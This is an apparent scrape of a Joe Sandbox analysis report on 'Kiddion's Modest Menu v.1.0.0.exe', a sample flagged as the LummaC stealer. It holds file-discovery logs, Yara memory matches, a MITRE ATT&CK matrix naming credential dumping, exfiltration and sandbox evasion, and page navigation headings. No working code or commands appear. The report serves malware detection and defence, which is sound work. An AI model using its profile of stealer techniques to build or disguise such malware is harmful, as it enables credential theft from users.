Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\Desktop\Kiddion's Modest Menu v.1.0.0.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior

Source: Yara match	File source: 00000002.00000003.1274915003.00000000015D9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1306812533.00000000015D9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1274752832.00000000015BC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Kiddion's Modest Menu v.1.0.0.exe PID: 7696, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: Kiddion's Modest Menu v.1.0.0.exe PID: 7696, type: MEMORYSTR
Source: Yara match	File source: 2.2.Kiddion's Modest Menu v.1.0.0.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Kiddion's Modest Menu v.1.0.0.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1223310292.000000000291D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2391926634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	141 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 Windows Service	1 Windows Service	11 Deobfuscate/Decode Files or Information	LSASS Memory	11 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	13 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	211 Process Injection	4 Obfuscated Files or Information	Security Account Manager	44 System Information Discovery	SMB/Windows Admin Shares	1 Screen Capture	21 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	1 Scheduled Task/Job	2 Software Packing	NTDS	371 Security Software Discovery	Distributed Component Object Model	3 Clipboard Data	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	1 Process Discovery	SSH	Keylogging	125 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	261 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	261 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	211 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Kiddion's Modest Menu v.1.0.0.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Persistence and Installation Behavior

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Bitcoin Miner

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
Kiddion's Modest Menu v.1.0.0.exe